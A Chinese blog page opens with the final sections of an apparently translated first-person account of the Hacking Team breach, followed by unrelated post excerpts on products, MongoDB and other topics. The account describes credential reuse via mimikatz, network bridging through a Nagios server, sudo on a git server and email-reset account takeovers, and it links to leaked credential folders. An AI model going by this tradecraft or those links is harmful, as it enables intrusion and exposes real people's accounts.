[5] http://pwnwiki.io/#!presence/windows/find_files.md
[6] http://archive.is/TbaPy
[7] http://hacking.technology/Hacked%20Team/c.pozzi/screenshots/
[8] http://hacking.technology/Hacked%20Team/c.pozzi/Desktop/you.txt
[9] http://hacking.technology/Hacked%20Team/c.pozzi/credentials/

15、桥梁

在Christian Pozzi的加密卷里面,是一个存放着许多密码的文本文件。其中有一个密码便是Nagios服务器的,而为了对网络进行监控,该服务器是可以访问到‘Rete Sviluppo’区域的,这样,在独立的网络之间,就架起了一座桥梁。

16、再使用及重置密码

通过读取邮件,我查看到Daniele Milan允许访问到git存储库。而我已经有了他的Windows密码,感谢mimikatz。我尝试使用这个密码登录进git服务器,登录成功!使用它进行sudo,也执行成功!对于他的gitlab服务器和twitter账户,我通过使用“忘记密码”的方式,再通过邮件重置密码。

17、结语

这就是整个过程。轻易渗透进企业,并阻止其继续破坏人权。这也是黑客的魅力和不对称性之美:只需100小时的工作,便可以摧毁一个估值数百万美元的公司数年来的工作成果。黑客攻击能赋予被压迫者去抗争,并获取胜利的能力。
Hacking Team一直以来视己为意大利的创新点。而我看Vincenzetti,包括他的公司,他在政界及警察领域的朋友,其人就属于传统的意大利法西斯主义分子。最后,我想把这本指南献给迪亚兹阿曼多学校袭击事件的受害者,以及那些鲜血洒在意大利法西斯手中的人。
[1] https://twitter.com/coracurrier/status/618104723263090688

Popular posts from 产品随想的博客

产品随想 | 周刊 第127期:晨光只开一刻钟,但比千年松,并无甚不同

Cherry Studio   https://github.com/CherryHQ/cherry-studio Cherry Studio is a desktop client that supports for multiple LLM providers. Support deepseek-r1 Aalto Repository beta   https://repo.aalto.fi/ Images, sounds and videos from Aalto University 这个系列,价值极高 Nokia Design Archive   https://nokiadesignarchive.aalto.fi/ 芬兰这个国家很了不起 对话影石刘靖康:两代未出现划时代的产品,就会沦为平庸的品牌   https://www.geekpark.net/news/308996 还挺喜欢这个创始人的,有一种海盗的内涵 从哈佛、明星创业者到酷家乐副总裁,苏奇的传奇   https://app.modaiyun.com/mdy/article/3FO4K4W0M259 WHO关于猫狗咬伤、抓伤的处理建议 动物咬伤: https://www.who.int/zh/news-room/fact-sheets/detail/animal-bites 狂犬病: https://www.who.int/zh/news-room/fact-sheets/detail/rabies 关于狂犬病的10个事实: https://www.who.int/zh/news-room/facts-in-pictures/detail/rabies INDIGO 新年直播(2025)   https://www.youtube.com/live/ZIgPvSDGAfY 对2024年AI发展的回顾部分特别好 Artab   https://github.com/get-artab/artab Get Inspired by the World's Greatest Artworks Every Time You Open a New Tab. Extension Available for Chrome, Edge, and...

产品随想 | 周刊 第128期:将时间转化为知识和体验

自行车棚效应:我们为什么在小事上纠结,却对大事视而不见?   https://limboy.me/posts/bike-shedding Benz-Patent   https://www.mercedes-benz.com/en/innovation/milestones/benz-patent-motor-car/ 豐田博物館   https://toyota-automobile-museum.jp/tw/ 值得一去的汽车博物馆 一人公司   https://github.com/cyfyifanchen/one-person-company one-person-company, 一人公司 AI 工具系列 wujiaxian   https://wujiaxian.com/ 可能吧创始人的个人Blog,介绍自己的方式,很值得学习 日本京都10大設計熱點!「建築大師貝聿銘操刀美術館,皆川明設計旅館、選物店,還有全球最美的藍瓶咖啡店舖!」   https://www.elle.com/tw/life/style/g33846398/2020-kyoto-10-hotspots/ 京都真是非常美 Henry L. Stimson   https://en.wikipedia.org/wiki/Henry_L._Stimson?useskin=vector While Kyoto may have satisfied the military criteria for a useful target, Stimson objected, declaring in a meeting if the Interim Committee on June 1, 1945, "...there was one city that they must not bomb without my permission and that was Kyoto." 人性的努力保护了京都 Brooke Astor, 105, Aristocrat of the People, Dies   https://www.nytimes.com/2007/08/14/obituaries/14astor.html 值得尊敬...

MongoDB学习笔记

这是我阅读《MongoDB权威指南》的学习笔记,前七章侧重在开发者角度谈MongoDB,后面才是运维管理者角度 一. 理论部分 入门 文档:多个键及其关联的值有序地放置在一起便是文档 集合:一组文档 虽然子集合没有特别的地方,但还是很有用,很多MongoDB工具中都包含子集合 GridFS是一种存储大文件的协议,使用子集合来存储文件的元数据,这样就与内容块分开了 MongoDB的Web控制台通过子集合的方式将数据组织在DBTOP部分 绝大多数驱动程序都提供语法糖,为访问指定集合的子集合提供方便。例如:在数据库shell里面,db.blog代表blog集合,db.blog.posts代表blog.posts集合 在MongoDB中使用子集合来组织数据是很好的方法,在此强烈推荐 数据类型 JSON表现力也有限制,因为只有null,布尔,数字,字符串,数组和对象几种类型, MongoDB保留JSON键值对基础上,增添了其他一些数据类型 使用GridFS存储文件有如下原因: 会直接利用业已建立的复制或分片机制,所以对于文件存储来说故障恢复和扩展都很容易 可以避免用户上传内容的文件系统出现的某些问题 不产生磁盘碎片,因为MongoDB分配数据文件空间以2GB为一块 开发者角度到此为止,下一篇是运维角度的学习

产品爱好者周刊 第26期:PRISM, XKeyscore, Trust No One

  Products Gitea - Git with a cup of tea   https://gitea.io/en-us/ A painless self-hosted Git service. 自建Git服务,避免GitHub隐私侵犯 https://github.com/objective-see/LuLu LuLu is the free macOS firewall 监视Mac的出站流量,且阻断 OverSight   https://github.com/objective-see/OverSight OverSight monitors a mac's mic and webcam, alerting the user when the internal mic is activated, or whenever a process accesses the webcam. 监视是否有应用调用Mac的麦克风、摄像头 Mozilla Hubs   https://github.com/mozilla/hubs The client-side code for Mozilla Hubs, an online 3D collaboration platform that works for desktop, mobile, and VR platforms. 开源的多人虚拟空间,Mozilla打造,企业级VR诉求 数字移民   https://shuziyimin.org 关于内容源、工具的推荐,适合刚接入国际的新人 SimpleLogin   https://simplelogin.io/ 匿名邮箱工具,转发用,Michael Bazzell推荐 Telegram 群组、频道、机器人 - 汇总分享   https://congcong0806.github.io/2018/04/24/Telegram/#机器人-bot https://archive.ph/iJMBj 献给那些将来到Telegram的朋友 Design Patrick Wardle   https://www.instagram.com/patrickwardle/?hl=en 他的IG,摄影也精彩,审美...

产品随想 | 周刊 第126期:Think of your life as a rainbow arcing across the horizon of this world

FolderPaint   https://github.com/MichaelTr7/FolderPaint Folder colour changing application for macOS. 乔布斯说:“对于我和苹果公司的许多人来说,索尼的盛田昭夫是最大的灵感来源之一。我希望我们今天的所想所为能让他会心一笑。” 乔布斯甚至从索尼挖走了一位顶级设计师。哈特穆特·艾斯林格被苹果挖走前,已在 100 多种索尼产品的创造中发挥了重要作用。 供职于索尼时,艾斯林格所在的设计工作室与管理办公室和工厂车间享有同等地位。他说,这样有助于促进公司生产和设计团队之间在一定程度上达成团结,这正是乔布斯试图重建的团结。 艾斯林格指出:“乔布斯有能力洞察事物的好坏,却不知道如何实现以及如何通过组织去构建。因此,我们向苹果提出的第一个建议是,赋予设计师一定的话语权。” 斯卡利表示,乔布斯和盛田之间的深厚友谊和相互敬重可以归结为对于设计的共同热忱。 “他们以非常积极的方式产生了共鸣”,斯卡利说,“两位来自不同文化背景的创始人共聚一堂,这是非常难能可贵的。他们讨论设计原则,却从不谈及商业模式。” “Think of your life as a rainbow arcing across the horizon of this world. You appear, have a chance to blaze in the sky, then you disappear.” City Lights Bookstore   https://en.wikipedia.org/wiki/City_Lights_Bookstore?useskin=vector 旧金山的城市之光独立书店 Vesuvio Cafe   https://en.wikipedia.org/wiki/Vesuvio_Cafe?useskin=vector 好奇怪,这家Cafe居然没有太多的介绍 “One of the things that I was fortunate of was to see and understand the context of San Francisco through the eyes of Steve Jobs,” Mr. Ive said. “He kn...

无处不在的监控: Hacking Team:WP8 监控代码分析

原文来自乌云,备份 地址 0x00 背景 最近Hacking Team被黑客入侵,近400GB的资料泄漏,在安全界炒的沸沸扬扬.其中泄漏的资料包括:源代码,0day,资料入侵项目相关信息,相关的账户密码,数据及音像资料,办公文档,邮件及图片。 Hacking Team在意大利米兰注册了一家软件公司,主要销售入侵及监视功能的软件。其远程控制系统可以监测互联网用户的通讯,解密用户的加密,文件及电子邮件,记录各种通信信息,也可以远程激活用户的麦克风及摄像头。其产品在几十个国家使用 在源代码中有各个操作系统平台的远程控制软件源码, RCS(Remote Control System) 。经过我们的分析,发现其监控内容不可谓不详尽。 Android,blackberry,ios,windows,window phone,symbian 均有与之对应的监控代码。 在源码中,rcs为前缀的源码文件是其远控功能,包括代理 控制 监控数据库 隐藏ip 等,而针对特定平台架构的是以core前缀命名。其中和相关window phone监控代码在 core-winphone-master.zip 文件中。其主要用于实时手机系统的系统状态信息如(电池状态,设备信息,GPS地址位置),联系人,短信记录,日历日程安排,照片;同时还能录音,截取手机屏幕,开启摄像头,话筒等功能,由此可见监控信息的详细程度令人害怕。 0x01 WP8监控源码分析 core-winphone-master\MornellaWp8\MornellaWp8 下是其主要核心代码,主要文件如下: 通过观察源码流程图可以看出,整个监控项目源码的逻辑还是比较复杂的,但是深入之后,发现其还是设计的比较巧妙 0x01-1 程序框架分析 1.项目主要分为3大块 Modules,Events,Actions ,主要的功能Modules核心监控代码在此处,Event等待监控事件的到来并调用对应的监控模块,Action主要负责一些行为的启动和停止 程序启动流程如下: main->mornellaStart->BTC_Init->CoreProc->Core->Task setLoadLibraryExW 分支主要负责加载一些API函数的地址,...

产品随想 | 张鸣论中国传统政治

原始文章目录 张鸣:皇权不确定性下的统治术——传统中国官场机会主义溯源   https://www.aisixiang.com/data/68897.html 张鸣:从科举制到市场经济转型——官本位的源流及滥觞   https://www.aisixiang.com/data/59273.html 张鸣:权力边界何在,实话空间几许?——论中国政治传统中的权力与真理关系   https://www.aisixiang.com/data/67054.html Insight: 中国自秦汉以来一直是官僚化的帝制结构,虽然皇帝最终要凭借官僚这个中介才能统治国家,但官员的权力来源和合法性依据都是皇权。官僚机器只是帝制的“车轮”。所以,皇帝要怎么样,官员只要迎合,就能获利。只有在皇帝明显违反常识道理、造成重大灾祸之时,官员才可能凭借儒家伦理对皇帝提出批评。理性选择的结果使得官员更多地趋向于顺从皇帝。 ——符合历史以来的感知 中国尽管有两千多年官僚制的传统,但守规矩、遵法制、走程序的现代理性官僚制度却一直都没有建立起来。考试取官的确是理性官僚制的一个重要因素,但中国古代官僚制只是万里长征走完了第一步,然后就再也不走了。隋唐科举制建立的初衷也并非建设官僚体系,而是防止贵族垄断官职,强化君权。科举制度越来越严密,选拔出来的人才也愈发精英化。但是,官僚的行为却没有程式化和规法化。官员的个人行为偏好往往直接影响一地的发展。 ——如何再往前走一步,可以看看新加坡 官员的行为模式往往以皇帝的喜好为风向标。一般来说,皇帝喜欢什么,一个朝代就兴什么。汉初皇帝喜欢黄老,臣子们就清静无为;东汉皇帝喜欢儒生,则臣子们多为经学家;唐初皇帝喜人上书言事,则多诤谏之徒;到晚唐,皇帝喜欢佛教了,则多礼佛之士;清代嘉庆之后,皇帝提倡节俭,带头穿补丁衣服,则满朝文武衣服上都打了补丁,有的补丁比衣服本身还贵。 ——Interesting 皇帝行为的不确定性,势必导致官员行为无法程序化、规范化,而皇帝行为的不确定往往是由统治术决定的,属刻意为之。多数王朝都外儒内法,崇尚权术,甚至迷信权术。秦始皇和丞相李斯之间,有过一个小故事。李斯随从车马过盛,很是招摇,皇帝看了不高兴。随行的宦官就把这事告诉了李斯,李斯于是轻车简从,低调起来。秦始皇马上知道身边有人泄密,又审不出来,于是把当时在身边的人都杀...

ifconfig参数备忘

       主要指标说明: eth0/lo:网络接口名 Link encap:网络类型

产品随想 | 读《中国是部金融史》:第三章至第五章

  第三章 犯我货币者,虽强必诛(汉高祖一汉武帝) 刘邦大概没有想到,他的土地政策奠定了此后两千年的社会结构:皇帝是社会最高层,具有至高无上的权力;皇帝之下是三公九即等封建官僚,拿皇帝的钱,逐级管理小农;最底层是万千小农,他们对帝国纳税,用自己的血汗钱养活帝王与封建官僚。此后,中国封建社会结构始终没有摆脱“皇权一封建官僚一小农”这个三位一体的窠臼。 既然消灭了异姓王,正常思维应该是仿效秦始皇强化郡县制,但是这位平民皇帝选择了…条谁也想不到的道路,他分封自己的兄弟子侄为王,并与诸王约定,此后非我子孙称王,天下人都可以杀了他(非刘氏而王者,天下共击之)。刘邦亲眼目睹了秦帝困的分崩离析,危急时刻无人愿意支撑起破败的帝国。华竟,官僚靠薪水吃饭, 就算贪污的本事很大,也没有理由维护别人的一姓天下。 如果没有血浓于水的同姓诸侯王,汉帝国将来同样无法应对真正的危机。事实证明,分封刘氏诸王是对的,如果没有刘邦留下来的同姓诸侯,恐怕汉朝早就得跟着皇后吕雉姓“吕”了。 人们习惯于将刘邦的皇后吕雉称呼为“吕后〞,这是中国古代历史上第一位临朝称制的太后,另外两位要等到盛唐和晚清才能在本书中出镜,三位女强人都是中国货币史上浓墨重彩的人物。 然而,从吕雉开始,仅仅不到一个世纪, 破败的汉帝国就一跃变为当时世界上最强盛的国家,直接把打遍天下无敌手的匈奴骑兵赶到了西欧,让罗马帝国受尽了欺凌。吕后末年,西汉单个农业劳动力的原粮产量已经突破了三干四百斤,这不但是西欧一干五百年后的劳动生产率,也远高于1973年中四的劳动生产率(二千二百四十斤)。应该说,中西文明争霸就是从汉帝国驱赶匈奴开始的,在第一轮交锋中,西欧完败。 ──原来西汉能超过1978年,厉害 吕雉坚决执行了一项前无古人(后有来者)的税收政策—“十五而税一”,换算一下,吕雉时代庶人个人收入所得税税率为 6.6%,而且,没有累进税率。 《二年律令》彻底改变了中国历史的发展轨迹,秦人以军功授田,刘邦以服兵役为代价授田,只有到了吕雉才真正实现了全困范用的“均田“。这是中国历史上第一次以法律形式明确了土地私有制度,每一个最普通的庶人都获得了土地,整个社会实现了孟子的“百亩之田、五亩之宅”理想。这是无数先贤追求的大同世界梦想一“耕者有其田”,请注意,我没有说这是“耕者有其田"的雏形,而是实实在在的“耕者有其田"。 ──对汉朝,充满敬...

常用建筑素材站点

高大上的建筑竞赛效果图中的素材是如何收集的回答,感谢知乎 Vincent Ku 以下是之前搜寻过的素材网站,应该这些够用了 http:// skalgubbar.se/ http:// skalgubbrasil.tumblr.com / http://www. immediateentourage.com/ http://www. gobotree.com/ http://www. mrcutout.com/ http://www. cutoutlife.com/ http://www. nonscandinavia.com/ http://www. escalalatina.com/ http://www. mayang.com/textures/ind ex.htm http://www. textures.com/ ===== 感谢知友 @SJTUboy 补充 http:// maps.stamen.com/# watercolor/12/37.7706/-122.3782 http:// maps.stamen.com/m2i/# toner-background/2000:2000/10/31.1674/121.6063 作者:Vincent Ku 链接:https://www.zhihu.com/question/31584353/answer/73642305 来源:知乎 著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。